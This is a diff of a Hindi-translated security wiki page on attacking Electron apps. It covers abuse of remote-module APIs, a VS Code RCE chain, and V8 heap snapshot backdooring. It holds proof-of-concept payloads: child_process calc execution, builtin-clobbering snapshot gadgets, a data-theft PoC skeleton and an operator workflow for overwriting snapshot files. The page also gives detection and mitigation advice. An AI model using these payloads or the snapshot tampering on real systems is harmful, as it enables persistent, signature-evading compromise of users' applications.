||||||
फिर, renderer process इस तरह module से objects import कर सकता है:
|
फिर, renderer process उस module से objects इस तरह import कर सकता है:
|
||||||
```javascript
|
```javascript
|
||||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
```
|
```
|
||||||
यह **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module के object **`app`** द्वारा expose किए गए कुछ रोचक **functions** दर्शाता है:
|
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module के object **`app`** द्वारा expose किए गए कुछ रोचक **functions** बताता है:
|
||||||
|
|
||||||
- **`app.relaunch([options])`**
|
- **`app.relaunch([options])`**
|
||||||
- **पुनः प्रारंभ करता है** एप्लिकेशन को, वर्तमान इंस्टेंस को **बंद** करके और एक नया **प्रारंभ** करके। यह **ऐप अपडेट्स** या महत्वपूर्ण **स्थिति परिवर्तनों** के लिए उपयोगी है।
|
- **रीस्टार्ट करता है** एप्लिकेशन को वर्तमान instance से **बाहर निकलकर** और एक नया instance **लॉन्च** करके। उपयोगी है **ऐप अपडेट्स** या महत्वपूर्ण **स्थिति परिवर्तन** के लिए।
|
||||||
- **`app.setAppLogsPath([path])`**
|
- **`app.setAppLogsPath([path])`**
|
||||||
- **डायरेक्टरी को परिभाषित या बनाता है** ऐप लॉग्स को स्टोर करने के लिए। लॉग्स को **प्राप्त** या **संशोधित** किया जा सकता है **`app.getPath()`** या **`app.setPath(pathName, newPath)`** के माध्यम से।
|
- **परिभाषित करता है** या **बनाता है** एक डायरेक्टरी **app logs** स्टोर करने के लिए। ये logs **प्राप्त** किए जा सकते हैं या **संशोधित** किए जा सकते हैं using **`app.getPath()`** या **`app.setPath(pathName, newPath)`**।
|
||||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
- **रजिस्टर करता है** वर्तमान executable को एक निर्दिष्ट **protocol** के लिए **default handler** के रूप में। आवश्यकता होने पर आप एक **custom path** और **arguments** प्रदान कर सकते हैं।
|
- वर्तमान executable को एक निर्दिष्ट **protocol** के लिए **default handler** के रूप में **रजिस्टर** करता है। आप आवश्यकता पड़ने पर एक **custom path** और **arguments** प्रदान कर सकते हैं।
|
||||||
- **`app.setUserTasks(tasks)`**
|
- **`app.setUserTasks(tasks)`**
|
||||||
- **टास्क जोड़ता है** Jump List की **Tasks category** में (on Windows)। प्रत्येक टास्क यह नियंत्रित कर सकता है कि ऐप कैसे **लॉन्च** होता है या कौन से **arguments** पास होते हैं।
|
- **टास्क जोड़ता है** **Tasks category** में **Jump List** (on Windows)। प्रत्येक टास्क नियंत्रित कर सकता है कि app कैसे **लॉन्च** किया जाता है या कौन से **arguments** पास किए जाते हैं।
|
||||||
- **`app.importCertificate(options, callback)`**
|
- **`app.importCertificate(options, callback)`**
|
||||||
- **इम्पोर्ट करता है** एक **PKCS#12 certificate** को सिस्टम के **certificate store** में (Linux only)। परिणाम को हैंडल करने के लिए **callback** का उपयोग किया जा सकता है।
|
- **PKCS#12 certificate** को सिस्टम के **certificate store** में इम्पोर्ट करता है (Linux only)। परिणाम को हैंडल करने के लिए एक **callback** इस्तेमाल किया जा सकता है।
|
||||||
- **`app.moveToApplicationsFolder([options])`**
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
- **एप्लिकेशन को स्थानांतरित करता है** Applications folder पर (on macOS)। यह Mac उपयोगकर्ताओं के लिए **standard installation** सुनिश्चित करने में मदद करता है।
|
- एप्लिकेशन को **Applications folder** (on macOS) में **स्थानांतरित** करता है। Mac उपयोगकर्ताओं के लिए एक **standard installation** सुनिश्चित करने में मदद करता है।
|
||||||
- **`app.setJumpList(categories)`**
|
- **`app.setJumpList(categories)`**
|
||||||
- **सेट** या **हटाता है** एक **custom Jump List** on **Windows**। आप **categories** निर्दिष्ट कर सकते हैं ताकि यह व्यवस्थित हो कि टास्क उपयोगकर्ता को कैसे दिखाई दें।
|
- **Windows** पर एक **custom Jump List** **सेट** या **हटा** सकता है। आप **categories** निर्दिष्ट कर सकते हैं ताकि tasks उपयोगकर्ता को कैसे दिखाई दें, इसे व्यवस्थित किया जा सके।
|
||||||
- **`app.setLoginItemSettings(settings)`**
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
- **कॉन्फ़िगर करता है** कि कौन से **executables** login पर लॉन्च हों और उनके **options** क्या हों (macOS and Windows only).
|
- यह कॉन्फ़िगर करता है कि कौन से **executables** **login** पर लॉन्च होंगे और उनके साथ कौन से **options** होंगे (macOS and Windows only).
|
||||||
|
|
||||||
Example:
|
Example:
|
||||||
```javascript
|
```javascript
|
||||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||||
Native.app.exit()
|
Native.app.exit()
|
||||||
```
|
```
|
||||||
## systemPreferences module
|
## systemPreferences मॉड्यूल
|
||||||
|
|
||||||
Electron में system preferences तक पहुँचने और **emitting system events** के लिए यह **primary API** है। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे methods सभी इस module का **भाग** हैं।
|
Electron में system preferences तक पहुँचने और system events को emit करने के लिए यह **primary API** है। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे methods सभी **इस मॉड्यूल का हिस्सा** हैं।
|
||||||
|
|
||||||
**उपयोग का उदाहरण:**
|
**उदाहरण उपयोग:**
|
||||||
```javascript
|
```javascript
|
||||||
const { systemPreferences } = require('electron');
|
const { systemPreferences } = require('electron');
|
||||||
|
|
||||||
@ -382,31 +370,31 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
```
|
```
|
||||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
* **सुनता है** NSDistributedNotificationCenter का उपयोग करके **native macOS notifications** के लिए।
|
* **सुनता है** **native macOS notifications** को NSDistributedNotificationCenter का उपयोग करके।
|
||||||
* **macOS Catalina** से पहले, आप CFNotificationCenterAddObserver में **nil** पास करके **all** distributed notifications को sniff कर सकते थे।
|
* **macOS Catalina** से पहले, आप CFNotificationCenterAddObserver को **nil** पास करके **all** distributed notifications को sniff कर सकते थे।
|
||||||
* **Catalina / Big Sur** के बाद, sandboxed apps फिर भी कई घटनाओं (उदाहरण के लिए, **screen locks/unlocks**, **volume mounts**, **network activity**, आदि) को नाम द्वारा notifications register करके **subscribe** कर सकते हैं।
|
* **Catalina / Big Sur** के बाद, sandboxed apps फिर भी कई घटनाओं को **subscribe** कर सकते हैं (उदा., **screen locks/unlocks**, **volume mounts**, **network activity**, आदि) नोटिफिकेशन को **by name** रजिस्टर करके।
|
||||||
|
|
||||||
### **getUserDefault / setUserDefault**
|
### **getUserDefault / setUserDefault**
|
||||||
|
|
||||||
* **NSUserDefaults** के साथ इंटरफ़ेस करता है, जो macOS पर **application** या **global** preferences को स्टोर करता है।
|
* **Interfaces** NSUserDefaults के साथ, जो macOS पर **application** या **global** preferences को संग्रहीत करता है।
|
||||||
|
|
||||||
* **getUserDefault** संवेदनशील जानकारी **retrieve** कर सकता है, जैसे **recent file locations** या **user’s geographic location**।
|
* **getUserDefault** संवेदनशील जानकारी **retrieve** कर सकता है, जैसे **recent file locations** या **user’s geographic location**।
|
||||||
|
|
||||||
* **setUserDefault** इन preferences को **modify** कर सकता है, जो किसी app के **configuration** को प्रभावित कर सकता है।
|
* **setUserDefault** इन preferences को **modify** कर सकता है, जो किसी app की **configuration** को प्रभावित कर सकते हैं।
|
||||||
|
|
||||||
* पुराने **Electron versions** (v8.3.0 से पहले) में, केवल NSUserDefaults के **standard suite** तक **accessible** था।
|
* **older Electron versions** (v8.3.0 से पहले) में, केवल NSUserDefaults का **standard suite** ही **accessible** था।
|
||||||
|
|
||||||
## Shell.showItemInFolder
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
This function shows the given file in a file manager, जो **फ़ाइल को स्वचालित रूप से execute कर सकता है**।
|
यह फ़ंक्शन दिए गए फ़ाइल को फ़ाइल मैनेजर में दिखाता है, जो फ़ाइल को **स्वतः execute** भी कर सकता है।
|
||||||
|
|
||||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
## Content Security Policy
|
## Content Security Policy
|
||||||
|
|
||||||
Electron apps should have a **Content Security Policy (CSP)** ताकि **XSS attacks** को रोका जा सके। **CSP** एक **security standard** है जो ब्राउज़र में **untrusted code** के **execution** को रोकने में मदद करता है।
|
Electron apps में एक **Content Security Policy (CSP)** होना चाहिए ताकि **XSS attacks** रोके जा सकें। **CSP** एक **security standard** है जो ब्राउज़र में **untrusted code** के **execution** को रोकने में मदद करता है।
|
||||||
|
|
||||||
यह आमतौर पर `main.js` फ़ाइल या `index.html` टेम्पलेट में CSP को **meta tag** के अंदर कॉन्फ़िगर करके लगाया जाता है।
|
यह आमतौर पर **`main.js`** फ़ाइल में या **`index.html`** टेम्पलेट में CSP को एक **meta tag** के अंदर **configured** किया जाता है।
|
||||||
|
|
||||||
For more information check:
|
For more information check:
|
||||||
|
|
||||||
@ -416,18 +404,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
## **Tools**
|
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||||
|
|
||||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) एक टूल है जो Electron-based applications में misconfigurations और security anti-patterns की पहचान करता है।
|
यह वास्तविक-विश्व चेन Visual Studio Code 1.63 (CVE-2021-43908) को प्रभावित करती है और दिखाती है कि कैसे webview में एक single markdown-driven XSS को CSP, postMessage, और scheme handlers के गलत कॉन्फ़िगरेशन पर पूर्ण RCE में escalate किया जा सकता है। Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications के लिए एक open source VS Code plugin है जो Electronegativity का उपयोग करता है।
|
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) तीसरे पक्ष की कमजोर libraries की जाँच करने के लिए
|
Attack chain overview
|
||||||
|
- First XSS via webview CSP: जनरेट की गई CSP में `style-src 'self' 'unsafe-inline'` शामिल था, जिससे `vscode-webview://` संदर्भ में inline/style-based injection की अनुमति मिली। payload ने `/stealID` पर beacon कर के target webview’s extensionId को exfiltrate किया।
|
||||||
|
- Constructing target webview URL: leaked ID का उपयोग करके `vscode-webview://<extensionId>/.../<publicUrl>` बनाया गया।
|
||||||
|
- Second XSS via postMessage trust: outer webview ने `window.postMessage` पर strict origin/type checks के बिना भरोसा किया और attacker HTML को `allowScripts: true` के साथ लोड किया।
|
||||||
|
- Local file loading via scheme/path rewriting: payload ने `file:///...` को `vscode-file://vscode-app/...` में rewrite किया और `exploit.md` को बदल कर `RCE.html` लोड किया, कमज़ोर path validation का दुरुपयोग करके privileged local resource लोड किया गया।
|
||||||
|
- RCE in Node-enabled context: लोड की गई HTML Node APIs के साथ execute हुई, जिससे OS command execution संभव हुआ।
|
||||||
|
|
||||||
|
Example RCE primitive in the final context
|
||||||
|
```js
|
||||||
|
// RCE.html (executed in a Node-enabled webview context)
|
||||||
|
require('child_process').exec('calc.exe'); // Windows
|
||||||
|
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||||
|
```
|
||||||
|
postMessage ट्रस्ट मुद्दों पर संबंधित पढ़ाई:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **टूल्स**
|
||||||
|
|
||||||
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron-आधारित applications में misconfigurations और security anti-patterns की पहचान करने के लिए एक टूल है।
|
||||||
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications के लिए Electronegativity का उपयोग करने वाला एक open source VS Code plugin है।
|
||||||
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) कमजोर third-party libraries की जाँच करने के लिए
|
||||||
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
|
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
|
||||||
|
|
||||||
## Labs
|
## लैब्स
|
||||||
|
|
||||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) आप vulnerable Electron apps को exploit करने के लिए एक लैब पा सकते हैं।
|
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) आप vulnerable Electron apps को exploit करने के लिए एक लैब पा सकते हैं।
|
||||||
|
|
||||||
कुछ कमांड जो लैब में आपकी मदद करेंगे:
|
लैब में आपकी मदद करने वाले कुछ कमांड:
|
||||||
```bash
|
```bash
|
||||||
# Download apps from these URls
|
# Download apps from these URls
|
||||||
# Vuln to nodeIntegration
|
# Vuln to nodeIntegration
|
||||||
@ -450,20 +461,20 @@ cd vulnerable1
|
|||||||
npm install
|
npm install
|
||||||
npm start
|
npm start
|
||||||
```
|
```
|
||||||
## V8 heap snapshot छेड़छाड़ के जरिए लोकल backdooring (Electron/Chromium) – CVE-2025-55305
|
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||||
|
|
||||||
Electron और Chromium-based ऐप्स startup पर पहले से बने V8 heap snapshot (v8_context_snapshot.bin, और वैकल्पिक रूप से browser_v8_context_snapshot.bin) को deserialize करते हैं ताकि प्रत्येक V8 isolate (main, preload, renderer) इनिशियलाइज़ हो सके। ऐतिहासिक रूप से, Electron की integrity fuses इन snapshots को executable content के रूप में नहीं मानती थीं, इसलिए वे fuse-based integrity enforcement और OS code-signing checks दोनों से बच गए। परिणामस्वरूप, user-writable installation में snapshot को बदलने से signed binaries या ASAR को modify किये बिना ऐप के अंदर stealthy, persistent code execution संभव हो गया।
|
Electron and Chromium-based apps स्टार्टअप पर एक prebuilt V8 heap snapshot को deserialize करते हैं (v8_context_snapshot.bin, और वैकल्पिक रूप से browser_v8_context_snapshot.bin) ताकि हर V8 isolate (main, preload, renderer) को initialize किया जा सके। ऐतिहासिक रूप से, Electron के integrity fuses इन्हें executable content के रूप में treat नहीं करते थे, इसलिए ये fuse-based integrity enforcement और OS code-signing checks दोनों से बच जाते थे। नतीजतन, user-writable installation में snapshot को बदलने से बिना signed binaries या ASAR को modify किए ऐप के अंदर stealthy, persistent code execution संभव हो गया।
|
||||||
|
|
||||||
Key points
|
मुख्य बिंदु
|
||||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation और OnlyLoadAppFromAsar ASAR के अंदर app JavaScript को validate करते हैं, लेकिन वे V8 heap snapshots (CVE-2025-55305) को कवर नहीं करते थे। Chromium भी समान रूप से snapshots की integrity-check नहीं करता।
|
- Integrity gap: EnableEmbeddedAsarIntegrityValidation और OnlyLoadAppFromAsar ASAR के अंदर app JavaScript को validate करते हैं, लेकिन ये V8 heap snapshots (CVE-2025-55305) को कवर नहीं करते थे। Chromium भी इसी तरह snapshots की integrity-check नहीं करता।
|
||||||
- Attack preconditions: ऐप की installation directory में local file write। यह उन सिस्टम्स पर आम है जहाँ Electron apps या Chromium browsers user-writable paths में install होते हैं (जैसे %AppData%\Local on Windows; /Applications with caveats on macOS)।
|
- Attack preconditions: एप्लिकेशन की installation directory में local file write की अनुमति। यह उन सिस्टम्स पर आम है जहाँ Electron apps या Chromium browsers user-writable paths में install होते हैं (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||||
- Effect: किसी भी isolate में attacker JavaScript का reliable execution एक बार-बार इस्तेमाल होने वाले builtin (a “gadget”) को clobber करके संभव होता है, जो persistence और code-signing verification से बचने में सक्षम बनाता है।
|
- Effect: किसी भी isolate में attacker JavaScript का विश्वसनीय execution एक अक्सर इस्तेमाल होने वाले builtin (या “gadget”) को बदलकर संभव होता है, जिससे persistence और code-signing verification से evasion हासिल होती है।
|
||||||
- Affected surface: Electron apps (even with fuses enabled) और Chromium-based browsers जो user-writable locations से snapshots load करते हैं।
|
- Affected surface: Electron apps (यहां तक कि fuses enabled होने पर भी) और वे Chromium-based browsers जो snapshots को user-writable स्थानों से load करते हैं।
|
||||||
|
|
||||||
Generating a malicious snapshot without building Chromium
|
Generating a malicious snapshot without building Chromium
|
||||||
- prebuilt electron/mksnapshot का उपयोग करके payload JS को एक snapshot में compile करें और application के v8_context_snapshot.bin को overwrite करें।
|
- prebuilt electron/mksnapshot का उपयोग करके payload JS को एक snapshot में compile करें और application के v8_context_snapshot.bin को overwrite करें।
|
||||||
|
|
||||||
Example minimal payload (execution साबित करने के लिए crash कराकर)
|
उदाहरण: न्यूनतम payload (execution साबित करने के लिए crash force करना)
|
||||||
```js
|
```js
|
||||||
// Build snapshot from this payload
|
// Build snapshot from this payload
|
||||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
@ -477,11 +488,11 @@ Array.isArray = function () {
|
|||||||
throw new Error("testing isArray gadget");
|
throw new Error("testing isArray gadget");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Isolate-aware payload routing (main बनाम renderer में अलग कोड चलाएँ)
|
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||||
- Main process का पता लगाना: Node-only globals जैसे process.pid, process.binding(), या process.dlopen main process isolate में मौजूद होते हैं.
|
- Main process detection: Node-only globals जैसे process.pid, process.binding(), या process.dlopen main process isolate में मौजूद होते हैं।
|
||||||
- Browser/renderer का पता लगाना: Browser-only globals जैसे alert document context में चलाने पर उपलब्ध होते हैं.
|
- Browser/renderer detection: Browser-only globals जैसे alert document context में चलने पर उपलब्ध होते हैं।
|
||||||
|
|
||||||
Example gadget जो एक बार main-process की Node क्षमताओं की जाँच करता है
|
उदाहरण gadget जो एक बार main-process Node क्षमताओं की जांच करता है
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
|
|
||||||
@ -510,7 +521,7 @@ process.exit(0);
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Renderer/browser-context डेटा चोरी PoC (e.g., Slack)
|
Renderer/browser-context डेटा चोरी PoC (उदा., Slack)
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
Array.isArray = function() {
|
Array.isArray = function() {
|
||||||
@ -535,26 +546,30 @@ return orig(...arguments);
|
|||||||
};
|
};
|
||||||
```
|
```
|
||||||
Operator workflow
|
Operator workflow
|
||||||
1) payload.js लिखें जो किसी सामान्य builtin (उदा., Array.isArray) को ओवरराइड कर दे और वैकल्पिक रूप से प्रति isolate ब्रांच करे।
|
1) payload.js लिखें जो एक सामान्य builtin को clobber करे (उदा., Array.isArray) और वैकल्पिक रूप से प्रति isolate branch करे।
|
||||||
2) Chromium स्रोतों के बिना snapshot बनाएं:
|
2) Chromium स्रोतों के बिना snapshot बनाएं:
|
||||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
3) लक्ष्य एप्लिकेशन की snapshot फ़ाइल(ओं) को ओवरराइट करें:
|
3) लक्ष्य application के snapshot फाइल(ें) को overwrite करें:
|
||||||
- v8_context_snapshot.bin (हमेशा उपयोग होती है)
|
- v8_context_snapshot.bin (हमेशा उपयोग होता है)
|
||||||
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग में है)
|
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग हो रहा है)
|
||||||
4) एप्लिकेशन लॉन्च करें; चुने हुए builtin के उपयोग पर gadget निष्पादित होता है।
|
4) एप्लिकेशन लॉन्च करें; gadget तब execute होगा जब भी चुना गया builtin उपयोग किया जाएगा।
|
||||||
|
|
||||||
Notes and considerations
|
Notes and considerations
|
||||||
- Integrity/signature bypass: Snapshot फ़ाइलों को code-signing checks द्वारा native executables के रूप में नहीं माना जाता और (ऐतिहासिक रूप से) Electron’s fuses या Chromium integrity controls द्वारा कवर नहीं किया गया था।
|
- Integrity/signature bypass: Snapshot फाइलों को code-signing checks द्वारा native executables की तरह नहीं माना जाता और (ऐतिहासिक रूप से) वे Electron के fuses या Chromium integrity controls द्वारा कवर नहीं किए गए थे।
|
||||||
- Persistence: उपयोगकर्ता-लेखनीय इंस्टॉल में snapshot बदलने से आम तौर पर ऐप रिस्टार्ट के बाद भी बदलाव बनी रहती है और यह एक signed, legitimate app जैसा दिखता है।
|
- Persistence: user-writable install में snapshot को बदलना आम तौर पर app restarts को सहन कर देता है और यह एक signed, legitimate app जैसा दिखता है।
|
||||||
- Chromium browsers: वही छेड़छाड़ का विचार Chrome/derivatives पर भी लागू होता है जो user-writable लोकेशनों में इंस्टॉल हैं। Chrome के पास अन्य integrity mitigations हैं पर यह स्पष्ट रूप से physically local attacks को अपने threat model से बाहर रखता है।
|
- Chromium browsers: वही tampering सिद्धांत Chrome/derivatives पर लागू होता है जो user-writable लोकेशनों में इंस्टॉल होते हैं। Chrome के पास अन्य integrity mitigations हैं लेकिन यह स्पष्ट रूप से physically local attacks को अपने threat model से बाहर रखता है।
|
||||||
|
|
||||||
Detection and mitigations
|
Detection and mitigations
|
||||||
- Snapshot को executable content मानें और उन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix)।
|
- Snapshots को executable content के रूप में मानें और उन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix).
|
||||||
- Admin-writable-only install लोकेशनों को प्राथमिकता दें; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए baseline और मॉनिटर hashes रखें।
|
- केवल admin-writable install locations को प्राथमिकता दें; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए baseline और hashes मॉनिटर करें।
|
||||||
- Early-runtime builtin clobbering और अनपेक्षित snapshot परिवर्तनों का पता लगाएँ; जब deserialized snapshots उम्मीद के अनुरूप न हों तो alert करें।
|
- early-runtime builtin clobbering और अनपेक्षित snapshot बदलावों का पता लगाएँ; जब deserialized snapshots अपेक्षित मानों से मेल नहीं खाते तो alert करें।
|
||||||
|
|
||||||
## **References**
|
## **References**
|
||||||
|
|
||||||
|
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||||
|
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||||
|
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||||
|
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||||
@ -564,7 +579,6 @@ Detection and mitigations
|
|||||||
- [Loki C2](https://github.com/boku7/Loki/)
|
- [Loki C2](https://github.com/boku7/Loki/)
|
||||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||||
|
|
||||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user